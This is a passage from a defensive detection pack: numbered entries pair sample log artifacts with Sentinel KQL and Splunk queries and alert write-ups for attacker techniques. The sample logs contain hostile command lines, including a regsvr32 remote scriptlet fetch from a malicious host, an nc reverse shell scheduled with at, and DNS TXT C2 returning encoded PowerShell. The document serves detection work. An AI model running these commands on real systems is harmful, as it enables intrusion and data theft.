| stats count by Device, Image, Process, CPU_Usage, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Kubernetes Node Hijacked for Cryptocurrency Mining
Severity: Critical
Description: Anonymous access was used to deploy a pod running xmrig miner in the default namespace. CPU usage reached 98% on k8s-node-03.
Recommended Action:

- Immediately stop mining pod and isolate node
- Enforce Role-Based Access Control (RBAC)
- Disable anonymous access to Kube API
- Scan for other malicious workloads

DETECTION PACK ENTRY 68
USE CASE: SUSPICIOUS SYSTEM FILE REPLACEMENT VIA WINSXS ABUSE
TACTIC: DEFENSE EVASION
TECHNIQUE: T1036.005 - MASQUERADING: MATCH LEGITIMATE NAME OR LOCATION
ENVIRONMENT: WINDOWS + SYSMON + EDR + FILE INTEGRITY MONITORING

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 11 (File Create)


```
{
 "Timestamp": "2025-07-09T10:45:12Z",
 "FilePath": "C:\\Windows\\WinSxS\\x86_microsoft-windows-
notepad_31bf3856ad364e35_10.0.19041.1_none_abc123\\notepad.exe",
 "SHA256": "a8f3e... (malicious hash)",
 "User": "harris.devops",
 "Device": "ENG-WS-08"
}
```


Data Source: EDR File Modification Alert


```
{
 "File": "notepad.exe",
 "Location": "WinSxS path",
 "Action": "Modified",
 "Origin": "C:\\Users\\harris.devops\\Desktop\\stager.exe"
}
```


DETECTION QUERY

KQL (Sentinel – Sysmon + EDR)

```
DeviceFileEvents
| where FolderPath contains "WinSxS" and FileName == "notepad.exe"
| where SHA256 != "<known legitimate hash>"
| join kind=inner (
   DeviceProcessEvents
   | where InitiatingProcessFileName == "stager.exe"
) on DeviceName
```

SPLUNK

```
index=sysmon OR index=edr
| search FilePath="*WinSxS*" File="notepad.exe" SHA256!="legit_hash"
| join Device [
  search index=edr File="*stager.exe*"
]
| stats count by File, Device, SHA256, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: System Binary Replaced via WinSxS – Masquerading
Severity: High
Description: The legitimate notepad.exe binary was overwritten in the WinSxS directory using a stager payload. Indicates masquerading for persistence or evasion.
Recommended Action:

- Replace tampered binary with known good version
- Search for similar file replacements on the host
- Remove unauthorized tools from user profile
- Engage endpoint forensics if further tampering suspected

DETECTION PACK ENTRY 69
USE CASE: EDR TAMPERING – RENAMING TELEMETRY SERVICE EXECUTABLES
TACTIC: DEFENSE EVASION
TECHNIQUE: T1562.001 - IMPAIR DEFENSES: DISABLE OR MODIFY SECURITY TOOLS
ENVIRONMENT: EDR LOGS + SYSMON + WINDOWS SERVICE CONTROL MANAGER

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 13 (Registry Modification)


```
{
 "Timestamp": "2025-07-09T11:22:10Z",
 "RegistryKey": "HKLM\\SYSTEM\\CurrentControlSet\\Services\\EDRTelemetry",
 "OldValue": "C:\\Program Files\\Vendor\\EDR\\telemetry.exe",
 "NewValue": "C:\\Temp\\telemetry-hide.exe",
 "User": "fariz.sysadmin",
 "Device": "SEC-WS-14"
}
```


Data Source: EDR Heartbeat Logs


```
{
 "Agent": "Offline",
 "LastCheckin": "2025-07-09T11:22:15Z",
 "Device": "SEC-WS-14",
 "Notes": "Telemetry service not running"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel – Registry + Agent Health)

```
DeviceRegistryEvents
| where RegistryKey contains "EDRTelemetry"
| join kind=inner (
   EDRHeartbeat
   | where Status == "Offline"
) on DeviceName
| project Timestamp, DeviceName, RegistryKey, NewValue, User
```

SPLUNK

```
index=sysmon OR index=edr
| search RegistryKey="*EDRTelemetry*" AND NewValue="*hide*"
| join Device [
  search index=edr HeartbeatStatus="Offline"
]
| stats count by Device, User, NewValue, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: EDR Evasion via Executable Rename
Severity: Critical
Description: fariz.sysadmin modified the registry path for the EDR telemetry executable, causing the agent to stop reporting. Indicates an attempt to disable monitoring.
Recommended Action:

- Force reinstall EDR agent and run full scan
- Disable user access pending review
- Alert red team and begin full IR
- Check for lateral movement during blind spot

DETECTION PACK ENTRY 70
USE CASE: DATA STAGING IN HIDDEN APPDATA FOLDER PRIOR TO EXFILTRATION
TACTIC: COLLECTION / EXFILTRATION
TECHNIQUE: T1074.001 – LOCAL DATA STAGING
ENVIRONMENT: SYSMON + EDR + FILE INTEGRITY MONITORING (FIM)

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 11 (File Create)


```
{
  "Timestamp": "2025-07-09T12:17:42Z",
  "User": "nabil.radzi@clientorg.com",
  "Device": "HR-WS-07",
  "FilePath":
"C:\\Users\\nabil.radzi\\AppData\\Local\\Microsoft\\Hidden\\Q2Finance_Leak.zip",
  "Size": "13.2 MB",
  "SHA256": "32abcf5...ee7d9",
  "Attributes": "Hidden"
}
```


Data Source: EDR File Access Log


```
{
  "Process": "powershell.exe",
  "Action": "Compress-Archive",
  "Target": "C:\\Users\\nabil.radzi\\Documents\\Finance\\*.xlsx",
  "Output": "AppData\\Local\\Microsoft\\Hidden\\Q2Finance_Leak.zip"
}
```


DETECTION QUERY

KQL (Sentinel – File Create + Process Events)

```
DeviceFileEvents
| where FolderPath contains "AppData\\Local\\Microsoft\\Hidden"
and FileName endswith ".zip"
| join kind=inner (
    DeviceProcessEvents
    | where ProcessCommandLine contains "Compress-Archive"
) on DeviceName
```

SPLUNK

```
index=sysmon OR index=edr
| search FilePath="*AppData*\\Hidden\\*.zip"
| join Device [
  search index=edr Command="*Compress-Archive*"
]
| stats count by User, Device, FilePath, Command, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Suspicious Local Data Staging Detected
Severity: High
Description: A ZIP archive named Q2Finance_Leak.zip was staged in a hidden AppData folder by nabil.radzi@clientorg.com using PowerShell.
Recommended Action:

- Investigate if data matches sensitive classification
- Check for signs of upcoming exfiltration
- Audit user behaviour over past 7 days
- Alert DLP/IR team for containment

DETECTION PACK ENTRY 71
USE CASE: CREDENTIAL HARVESTING VIA BROWSER SQLITE FILES
TACTIC: CREDENTIAL ACCESS
TECHNIQUE: T1555.003 – CREDENTIALS FROM PASSWORD STORES
ENVIRONMENT: EDR + FILE ACCESS MONITORING

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: EDR File Access


```
{
 "Timestamp": "2025-07-09T13:04:19Z",
 "User": "safwan.rahman@clientorg.com",
 "Process": "sqlitebrowser.exe",
 "OpenedFile": "C:\\Users\\safwan.rahman\\AppData\\Local\\Google\\Chrome\\User
Data\\Default\\Login Data",
 "Notes": "File contains saved credentials in SQLite format"
}
```


Data Source: Process Timeline


```
{
 "ProcessChain": ["cmd.exe" → "7z.exe" → "sqlitebrowser.exe"],
 "CommandLine": "sqlitebrowser.exe Login Data",
 "User": "safwan.rahman"
}
```


DETECTION QUERY

KQL (Sentinel – File Access + Process Chain)

```
DeviceFileEvents
| where FolderPath has "Chrome\\User Data\\Default\\Login Data"
| join kind=inner (
   DeviceProcessEvents
   | where FileName == "sqlitebrowser.exe"
) on DeviceName
```

SPLUNK

```
index=edr
| search File="*Login Data" AND Process="sqlitebrowser.exe"
| stats count by User, File, CommandLine, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Attempt to Access Browser Stored Credentials
Severity: High
Description: sqlitebrowser.exe was used by safwan.rahman@clientorg.com to access Chrome's password storage file.
Recommended Action:

- Notify user's manager and suspend account for review
- Forensically analyse process chain and files copied
- Consider blocking SQLite browser apps via AppLocker
- Check for credential abuse across other endpoints

DETECTION PACK ENTRY 72
USE CASE: FILELESS ATTACK VIA LOLBINS AND SCHEDULED TASK CHAIN
TACTIC: EXECUTION / PERSISTENCE
TECHNIQUE: T1218 + T1053.005 – LIVING OFF THE LAND BINARIES + SCHEDULED TASK
ENVIRONMENT: SYSMON + WINDOWS TASK SCHEDULER + EDR

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 1 (Process Creation)


```
{
  "Timestamp": "2025-07-09T14:26:55Z",
  "Device": "SEC-WS-02",
  "User": "azrul.aiman@clientorg.com",
  "Process": "regsvr32.exe",
  "CommandLine": "regsvr32 /s /n /u /i:https://cdn.evilcorp.ru/dropper.sct scrobj.dll"
}
```


Data Source: Task Scheduler Log


```
{
  "TaskName": "\\OneDriveUpdater",
  "Action": "regsvr32 dropper.sct",
  "Trigger": "At logon",
  "CreatedBy": "azrul.aiman@clientorg.com"
}
```


DETECTION QUERY

KQL (Sentinel – LOLBins + Task Logs)

```
DeviceProcessEvents
| where FileName == "regsvr32.exe" and ProcessCommandLine has "scrobj.dll"
| join kind=inner (
   ScheduledTaskLogs
   | where TaskName contains "OneDriveUpdater"
) on DeviceName
```

SPLUNK

```
index=sysmon OR index=sched_tasks
| search Process="regsvr32.exe" CommandLine="*scrobj.dll*"
```

```
| join Device [
  search index=sched_tasks TaskName="*OneDriveUpdater*"
]
| stats count by User, Device, TaskName, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Fileless Execution via Regsvr32 and Scheduled Task
Severity: Critical
Description: A fileless script from an external host was executed using regsvr32.exe via a scheduled task OneDriveUpdater. Indicates LOLBin exploitation with persistence.
Recommended Action:

- Delete task and isolate device
- Check memory for loaded in-memory payloads
- Block regsvr32 with application control
- Inspect traffic to external host and alert red team

DETECTION PACK ENTRY 73
USE CASE: TAMPERING OF EMAIL AUDIT LOGS TO HIDE EXFILTRATION
TACTIC: DEFENSE EVASION
TECHNIQUE: T1565.002 – STORED DATA MANIPULATION: LOG TAMPERING
ENVIRONMENT: MICROSOFT 365 AUDIT LOGS + DEFENDER FOR OFFICE 365

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Unified Audit Log


```
{
  "Timestamp": "2025-07-09T15:15:03Z",
  "User": "sabrina.khalid@clientorg.com",
  "Action": "Remove-AuditLog",
  "Target": "ExportedMail.eml",
  "Reason": "null",
  "IPAddress": "45.13.91.200"
}
```


Data Source: Defender for Office – Alert


```
{
  "AlertType": "Audit Log Tampering Detected",
  "User": "sabrina.khalid@clientorg.com",
  "Anomaly": "Deleted recent export activity logs",
  "Time": "2025-07-09T15:16:00Z"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel – Office 365 Logs)

```
OfficeActivity
| where Operation == "Remove-AuditLog" and UserId endswith "@clientorg.com"
| join kind=inner (
    AlertInfo
    | where AlertName == "Audit Log Tampering Detected"
) on UserId
```

SPLUNK

```
index=m365_logs OR index=o365_alerts
```

```
| search Operation="Remove-AuditLog" AND AlertType="*Tampering*"
| stats count by User, Action, Target, IPAddress, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Email Log Deletion to Conceal Exfiltration
Severity: Critical
Description: User sabrina.khalid@clientorg.com attempted to delete audit entries referencing recent email exports. Origin IP is external to corporate infrastructure.
Recommended Action:

- Lock mailbox and disable PowerShell access
- Review mail flow rules and export activities
- Notify compliance and begin investigation
- Restore deleted logs via retention recovery

DETECTION PACK ENTRY 74
USE CASE: ABUSE OF OAUTH TOKEN SCOPES FOR PERSISTENT CLOUD ACCESS
TACTIC: PERSISTENCE
TECHNIQUE: T1525 – IMPLANT CONTAINER IMAGE + OAUTH SCOPE ABUSE
ENVIRONMENT: AZURE AD + APP REGISTRATIONS + DEFENDER FOR CLOUD APPS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Azure AD Sign-In Logs


```
{
 "Timestamp": "2025-07-09T16:02:11Z",
 "AppID": "b476e4f9-xxxx-xxxx-xxxx-abcdefgh1234",
 "AppName": "SecureLoginTool",
 "GrantedPermissions": ["Mail.ReadWrite", "Files.ReadWrite.All", "User.ReadBasic.All"],
 "ConsentType": "AdminConsent",
 "GrantedBy": "huda.ops@clientorg.com",
 "IP": "109.195.63.17"
}
```


Data Source: Defender for Cloud Apps


```
{
 "AlertType": "Unusual OAuth Grant",
 "User": "huda.ops@clientorg.com",
 "App": "SecureLoginTool",
 "Permissions": "High-risk scope combination",
 "Notes": "Consent granted outside expected geo"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel – AAD + MCAS)

```
AADApplicationConsentEvents
| where ConsentType == "AdminConsent" and Permissions has_any ("Mail.ReadWrite",
"Files.ReadWrite.All")
| join kind=inner (
   CloudAppSecurity
   | where AlertName == "Unusual OAuth Grant"
```

) on UserPrincipalName

SPLUNK

```
index=azure_ad OR index=defender_cloud_apps
| search ConsentType="AdminConsent" Permissions="*ReadWrite*"
| stats count by AppName, User, IP, Permissions, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Persistent Cloud Access via OAuth Scope Abuse
Severity: High
Description: The app SecureLoginTool received high-risk OAuth scopes through admin consent by huda.ops@clientorg.com. Activity originated from untrusted location.
Recommended Action:

- Revoke app token from Azure AD
- Disable user account pending review
- Conduct full audit of recent app grants
- Enable conditional access for all 3rd-party OAuth apps

DETECTION PACK ENTRY 75
USE CASE: MISCONFIGURED CLOUD BUCKET / DB LEFT PUBLICLY ACCESSIBLE
TACTIC: INITIAL ACCESS / DATA EXPOSURE
TECHNIQUE: T1530 – DATA FROM CLOUD STORAGE OBJECT
ENVIRONMENT: GCP / AWS / AZURE – STORAGE LOGS + EXTERNAL SCANNERS + SHADOW IT

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Cloud Storage Access Log (e.g., GCP Storage)

```
{
 "Timestamp": "2025-07-09T16:45:05Z",
 "Bucket": "clientorg-finance-backup",
 "File": "client-portfolio-2025.csv",
 "AccessType": "Public Read",
 "SourceIP": "8.8.8.8",
 "UserAgent": "AWS S3Scanner"
}
```

Data Source: External Threat Intelligence Ping

```
{
 "Tool": "BinaryEdge",
 "Detected": "Public Google Bucket",
 "URL": "http://storage.googleapis.com/clientorg-finance-backup/"
}
```

DETECTION QUERY

KQL (Microsoft Sentinel – Cloud Activity + Threat Intelligence)

```
StorageBlobLogs
| where AccessType == "Public Read" and IPAddress != "<corp ranges>"
| join kind=inner (
   ThreatIntelIndicator
   | where Description contains "Public bucket" or Tool contains "BinaryEdge"
) on Url
```

SPLUNK

```
index=cloud_storage_logs OR index=ti_feed
```

```
| search AccessType="Public Read" File="*csv"
| join URL [
  search index=ti_feed Description="*Public bucket*"
]
| stats count by Bucket, File, IPAddress, URL, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Cloud Database or Bucket Exposed to Internet
Severity: High
Description: Storage bucket clientorg-finance-backup was publicly accessible and accessed via scanning tool from 8.8.8.8. File contained finance records.
Recommended Action:

- Remove public access from bucket immediately
- Rotate all credentials or tokens referenced in exposed file
- Alert data protection and compliance teams
- Perform external scan of other shadow storage assets

DETECTION PACK ENTRY 76
USE CASE: TOKEN REPLAY VIA SHARED PRINTER SPOOFING
TACTIC: CREDENTIAL ACCESS / LATERAL MOVEMENT
TECHNIQUE: T1550.002 – USE ALTERNATE AUTHENTICATION MATERIAL: PASS THE TICKET
ENVIRONMENT: WINDOWS EVENT LOGS + SYSMON + PRINT SERVICE LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Windows Security Event ID 4624


```
{
 "Timestamp": "2025-07-09T17:12:45Z",
 "AccountName": "farah.azmi@clientorg.com",
 "LogonType": "3 (Network)",
 "WorkstationName": "PRINTER01",
 "SourceNetworkAddress": "10.10.22.53",
 "AuthenticationPackage": "Kerberos"
}
```


Data Source: Sysmon Event ID 3 (Network Connection)


```
{
 "Process": "spoolsv.exe",
 "DestinationIP": "10.10.22.53",
 "Port": "445",
 "Command": "\\\\10.10.22.53\\PRINTSHARE",
 "Notes": "Unexpected printer share mount"
}
```


DETECTION QUERY

KQL (Sentinel – Windows Events + Sysmon)

```
SecurityEvent
| where EventID == 4624 and LogonType == 3 and WorkstationName contains "PRINTER"
| join kind=inner (
   DeviceNetworkEvents
   | where RemotePort == 445 and InitiatingProcessFileName == "spoolsv.exe"
) on AccountName
```

SPLUNK

```
index=wineventlog OR index=sysmon
| search LogonType=3 WorkstationName="*PRINTER*"
| join AccountName [
  search index=sysmon Process="spoolsv.exe" Port=445
]
| stats count by AccountName, SourceNetworkAddress, Command, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Token Replay via Printer Spoofing
Severity: High
Description: Kerberos token for farah.azmi@clientorg.com reused via malicious print share on 10.10.22.53, potentially to impersonate user for lateral movement.
Recommended Action:

- Investigate IP 10.10.22.53 and validate device identity
- Review active tickets via klist on impacted host
- Block SMB inbound access to unknown printer shares
- Rotate Kerberos tickets and disable printer browsing

DETECTION PACK ENTRY 77
USE CASE: ABUSE OF ORPHANED CLOUD COMPUTE SNAPSHOTS
TACTIC: DISCOVERY / COLLECTION
TECHNIQUE: T1210 – EXPLOITATION OF REMOTE SERVICES
ENVIRONMENT: CLOUD PROVIDER APIS + STORAGE LOGS + IAM

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: GCP API Log


```
{
 "Timestamp": "2025-07-09T18:03:22Z",
 "Actor": "anonymousUser",
 "Action": "Compute.Disks.CreateFromSnapshot",
 "Snapshot": "backup-finance-q1-2023",
 "NewVMName": "temp-analysis-01",
 "Region": "asia-southeast1"
}
```


Data Source: Cloud IAM Log


```
{
 "User": "anonymousUser",
 "IAMCheck": "No owner assigned to snapshot",
 "AccessType": "Permitted",
 "Project": "clientorg-unmaintained"
}
```


DETECTION QUERY

KQL (Sentinel – Cloud API + IAM Logs)

```
CloudActivity
| where ActivityName contains "CreateFromSnapshot" and UserName ==
"anonymousUser"
| where ResourceId contains "snapshot"
| join kind=inner (
   IAMAccessLogs
   | where AccessType == "Permitted" and IAMCheck contains "No owner"
) on ResourceId
```

SPLUNK

```
index=cloud_api_logs OR index=iam_logs
| search Action="*CreateFromSnapshot*" User="anonymousUser"
| join Snapshot [
  search index=iam_logs IAMCheck="*No owner*"
]
| stats count by Snapshot, NewVMName, Region, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Cloud Snapshot Exploited by External Actor
Severity: High
Description: Unowned GCP snapshot backup-finance-q1-2023 was used by anonymousUser to spin up a compute instance in asia-southeast1. Indicates misconfigured IAM policy.
Recommended Action:

- Immediately delete temp VM and snapshot
- Perform IAM review across all storage and compute assets
- Enable bucket object lifecycle enforcement
- Enforce owner tag policy and logging via automation

DETECTION PACK ENTRY 78
USE CASE: BRUTE-FORCE AGAINST LEGACY VPN USING LEAKED USERNAMES
TACTIC: INITIAL ACCESS
TECHNIQUE: T1110.003 – BRUTE FORCE: PASSWORD SPRAYING
ENVIRONMENT: VPN APPLIANCE LOGS + THREAT INTEL FEED + AD AUTHENTICATION

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: VPN Auth Logs


```
{
 "Timestamp": "2025-07-09T18:55:41Z",
 "Username": "syazwan123",
 "Attempts": 35,
 "Result": "Failed",
 "ClientIP": "146.70.55.211",
 "Device": "legacy-vpn.clientorg.com"
}
```


Data Source: Threat Intel Feed


```
{
 "IP": "146.70.55.211",
 "Actor": "Trickdoor Group",
 "Tags": ["Password Spray", "Leaked User Corpus 2022"]
}
```


DETECTION QUERY

KQL (Sentinel – VPN Logs + TI Integration)

```
VPNAuthenticationLogs
| where FailureReason == "Invalid credentials" and Attempts > 20
| join kind=inner (
   ThreatIntelligenceIndicator
   | where NetworkIP == ClientIP and Tags contains "Password Spray"
) on ClientIP
```

SPLUNK

```
index=vpn_logs OR index=threatintel
```

```
| search Attempts>20 Result="Failed"
| join ClientIP [
  search index=threatintel Tags="Password Spray"
]
| stats count by Username, ClientIP, Attempts, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: VPN Brute-Force Using Leaked Usernames
Severity: Medium–High
Description: IP 146.70.55.211 linked to Trickdoor Group attempted login using leaked usernames against legacy-vpn.clientorg.com, failed 35 times.
Recommended Action:

- Geo-block source IP and enable CAPTCHA if possible
- Disable unused legacy accounts and enforce MFA
- Monitor VPN logs for successful follow-ups
- Cross-check with 2022 breach username corpus

DETECTION PACK ENTRY 79
USE CASE: STEGANOGRAPHIC EXFILTRATION VIA IMAGE UPLOADS
TACTIC: EXFILTRATION
TECHNIQUE: T1020.003 – EXFILTRATION OVER ALTERNATIVE PROTOCOL: STEGANOGRAPHY
ENVIRONMENT: WEB PROXY + FILE UPLOAD LOGS + DLP + EDR

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Proxy File Upload Log

```
{
 "Timestamp": "2025-07-09T19:22:17Z",
 "User": "iqbal.fikri@clientorg.com",
 "UploadSite": "imgur.com",
 "Filename": "team_photo.png",
 "Size": "4.5 MB",
 "FileType": "PNG"
}
```

Data Source: EDR File Creation Log

```
{
 "Tool": "steghide.exe",
 "CommandLine": "steghide embed -cf team_photo.png -ef finance.xlsx -p org123",
 "CreatedBy": "iqbal.fikri",
 "FileHash": "ab78e3f..."
}
```

DETECTION QUERY

KQL (Sentinel – File Access + Proxy Uploads)

```
DeviceFileEvents
| where FileName endswith ".png" and ProcessCommandLine contains "steghide"
| join kind=inner (
   ProxyLogs
   | where Url contains "imgur.com" and HttpMethod == "POST"
) on DeviceName
```

SPLUNK

```
index=edr OR index=proxy_logs
```

```
| search CommandLine="*steghide*" FileName="*.png"
| join User [
  search index=proxy_logs UploadSite="imgur.com" HttpMethod="POST"
]
| stats count by User, FileName, UploadSite, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Steganographic Data Exfiltration via Image
Severity: High
Description: User iqbal.fikri@clientorg.com embedded a spreadsheet inside a PNG image using steghide and uploaded it to Imgur.
Recommended Action:

- Block user account and isolate host
- Scan for other media files using entropy and stego detection
- Review DLP bypass attempts
- Engage incident response and notify data protection officer

DETECTION PACK ENTRY 80
USE CASE: LINUX PERSISTENCE VIA 'AT' JOB SCHEDULING
TACTIC: PERSISTENCE
TECHNIQUE: T1053.001 – SCHEDULED TASK/JOB: AT
ENVIRONMENT: SYSLOG + LINUX AUDITD + EDR

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Linux Syslog


```
{
 "Timestamp": "2025-07-09T20:05:44Z",
 "User": "reza.svc",
 "Command": "echo '/usr/bin/nc -e /bin/bash 192.168.1.220 4444' | at now + 2 minutes",
 "UID": 1001,
 "Terminal": "pts/2"
}
```


Data Source: EDR Process Monitoring


```
{
 "Command": "nc -e /bin/bash 192.168.1.220 4444",
 "ExecutionTime": "2025-07-09T20:07:50Z",
 "Parent": "atd",
 "Origin": "svc-reza-app"
}
```


DETECTION QUERY

KQL (Sentinel – Syslog + Linux EDR)

```
Syslog
| where SyslogMessage contains "at now" and CommandLine contains "nc"
| join kind=inner (
   DeviceProcessEvents
   | where ParentProcessName == "atd" and FileName == "nc"
) on DeviceName
```

SPLUNK

```
index=syslog OR index=linux_edr
| search Command="*at now*" AND Command="*nc -e*"
| join Device [
```

```
  search index=linux_edr Parent="atd" Command="*nc*"
]
| stats count by User, Device, Command, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Reverse Shell Scheduled via ‘at’ Job
Severity: Critical
Description: Service account reza.svc used Linux at command to delay execution of a reverse shell using nc. The process was successfully invoked via atd.
Recommended Action:

- Kill any live shells or sessions from the source
- Disable at utility if unused across environment
- Rotate all credentials tied to reza.svc
- Investigate lateral movement or external persistence

DETECTION PACK ENTRY 81
USE CASE: SLACK OAUTH ABUSE TO SPY ON INTERNAL CHANNELS
TACTIC: COLLECTION / PERSISTENCE
TECHNIQUE: T1071.001 – APPLICATION LAYER PROTOCOL: WEBHOOKS / OAUTH
ENVIRONMENT: SLACK AUDIT LOGS + OAUTH LOGS + MCAS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Slack OAuth App Event


```
{
 "Timestamp": "2025-07-09T21:00:20Z",
 "AppName": "ChannelMonitor",
 "InstalledBy": "muhammad.khairi@clientorg.com",
 "Scopes": ["channels:history", "channels:read", "users:read"],
 "ClientIP": "142.251.37.1"
}
```


Data Source: Defender for Cloud Apps


```
{
 "AlertName": "OAuth App Monitoring Private Channels",
 "Severity": "High",
 "User": "muhammad.khairi@clientorg.com",
 "Detection": "New app with overbroad scope installed",
 "FirstSeen": "2025-07-09T21:01:11Z"
}
```


DETECTION QUERY

KQL (Sentinel – Slack + MCAS)

```
OAuthAppLogs
| where AppName == "ChannelMonitor" and Scopes has "channels:history"
| join kind=inner (
   CloudAppSecurity
   | where AlertName == "OAuth App Monitoring Private Channels"
) on UserPrincipalName
```

SPLUNK

```
index=slack_oauth OR index=mcas
```

```
| search AppName="ChannelMonitor" Scopes="*channels:history*"
| join User [
  search index=mcas AlertName="*Private Channels*"
]
| stats count by User, AppName, Scopes, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Rogue Slack App Installed to Monitor Channels
Severity: High
Description: OAuth app ChannelMonitor was installed by muhammad.khairi@clientorg.com with access to Slack channel history and user info.
Recommended Action:

- Remove the app from Slack org immediately
- Check if any tokens were used to access private channels
- Alert IT and legal for policy violation
- Revoke user access if malicious intent is confirmed

DETECTION PACK ENTRY 82
USE CASE: COMMAND AND CONTROL VIA DNS TXT RECORDS USING NSLOOKUP
TACTIC: COMMAND AND CONTROL
TECHNIQUE: T1071.004 – APPLICATION LAYER PROTOCOL: DNS
ENVIRONMENT: DNS LOGS + SYSMON + EDR

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 1 (Process Create)


```
{
 "Timestamp": "2025-07-09T22:10:38Z",
 "User": "arif.redteam",
 "Process": "nslookup.exe",
 "CommandLine": "nslookup -q=txt cmd.dns-c2.attacker.com",
 "Parent": "cmd.exe",
 "Device": "LAB-WIN10-RED"
}
```


Data Source: DNS Server Logs


```
{
 "Request": "TXT cmd.dns-c2.attacker.com",
 "Response": "\"powershell -nop -w hidden -enc SQBFAFg...\"",
 "SourceIP": "10.10.50.55"
}
```


DETECTION QUERY

KQL (Sentinel – Sysmon + DNS Logs)

```
DeviceProcessEvents
| where FileName == "nslookup.exe" and ProcessCommandLine has "TXT"
| join kind=inner (
   DnsEvents
   | where QueryType == "TXT" and Name contains "dns-c2"
) on DeviceName
```

SPLUNK

```
index=sysmon OR index=dns_logs
| search Process="nslookup.exe" CommandLine="*TXT*"
```

```
| join Device [
  search index=dns_logs Query="*.dns-c2.*" QueryType="TXT"
]
| stats count by User, CommandLine, Query, Response, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: C2 via DNS TXT Record Observed
Severity: High
Description: User arif.redteam issued nslookup TXT queries to a malicious domain. Response contained Base64-encoded PowerShell payload.
Recommended Action:

- Block outbound DNS to dns-c2.attacker.com
- Decode payload and perform sandbox analysis
- Investigate historical DNS activity from device
- Consider enabling DNS tunneling detection in NDR

DETECTION PACK ENTRY 83
USE CASE: MODIFICATION OF EDR PROCESS INCLUSION FILTERS VIA REGISTRY
TACTIC: DEFENSE EVASION
TECHNIQUE: T1112 – MODIFY REGISTRY
ENVIRONMENT: WINDOWS REGISTRY LOGS + EDR AGENT TELEMETRY + SYSMON

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 13 (Registry Modification)


```
{
 "Timestamp": "2025-07-09T22:48:11Z",
 "User": "amir.sysadmin",
 "RegistryKey": "HKLM\\Software\\EDRAgent\\InclusionFilters",
 "OldValue": "powershell.exe,cmd.exe",
 "NewValue": "cmd.exe",
 "Device": "FIN-SERVER-04"
}
```


Data Source: EDR Alert


```
{
 "Event": "Agent Configuration Modified",
 "Result": "Monitoring Disabled for PowerShell",
 "Status": "Warning",
 "Source": "Registry"
}
```


DETECTION QUERY

KQL (Sentinel – Registry + EDR)

```
DeviceRegistryEvents
| where RegistryKey contains "EDRAgent\\InclusionFilters"
and RegistryValueName == "powershell.exe"
| join kind=inner (
   EDRConfigurationAlerts
   | where Event contains "Monitoring Disabled"
) on DeviceName
```

SPLUNK

```
index=sysmon OR index=edr_config
| search RegistryKey="*EDRAgent*InclusionFilters*" AND OldValue="*powershell.exe*"
| join Device [
  search index=edr_config Event="Monitoring Disabled"
]
| stats count by User, RegistryKey, NewValue, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: EDR Process Filter Tampering – PowerShell Excluded
Severity: Critical
Description: Registry key modified on FIN-SERVER-04 to remove PowerShell from monitored processes. EDR agent no longer captures PowerShell telemetry.
Recommended Action:

- Force sync configuration with EDR central policy
- Investigate amir.sysadmin activity on host
- Audit registry keys for other evasion attempts
- Initiate deeper endpoint forensics

DETECTION PACK ENTRY 84
USE CASE: UNAUTHORIZED TERRAFORM APPLY DETECTED FROM DEVOPS USER
TACTIC: INITIAL ACCESS / IMPACT
TECHNIQUE: T0886 – RESOURCE HIJACKING
ENVIRONMENT: TERRAFORM LOGS + GITLAB CI/CD + CLOUDTRAIL + AUDIT LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: GitLab CI Pipeline Log


```
{
 "Timestamp": "2025-07-09T23:15:20Z",
 "User": "syahir.devops",
 "Repo": "clientorg/infra-as-code",
 "Stage": "deploy-prod",
 "Command": "terraform apply -auto-approve -var-file=malicious.tfvars",
 "Trigger": "manual"
}
```


Data Source: CloudTrail (AWS API Logs)


```
{
 "Action": "ec2:RunInstances",
 "Region": "ap-southeast-1",
 "User": "syahir.devops",
 "InstanceType": "t3.xlarge",
 "ImageId": "ami-malware-host-011",
 "Notes": "New instance not in baseline templates"
}
```


DETECTION QUERY

KQL (Sentinel – CI/CD + Cloud API)

```
DevOpsPipelineLogs
| where CommandLine has "terraform apply" and CommandLine has "malicious.tfvars"
| join kind=inner (
   CloudActivity
   | where Action == "ec2:RunInstances" and not(Resource in ("baseline"))
) on UserPrincipalName
```

SPLUNK

```
index=gitlab_logs OR index=cloudtrail
| search Command="terraform apply*" AND Command="*malicious.tfvars*"
| join User [
  search index=cloudtrail Action="ec2:RunInstances" NOT ImageId IN (baseline_list)
]
| stats count by User, Command, InstanceType, Region, _time
```

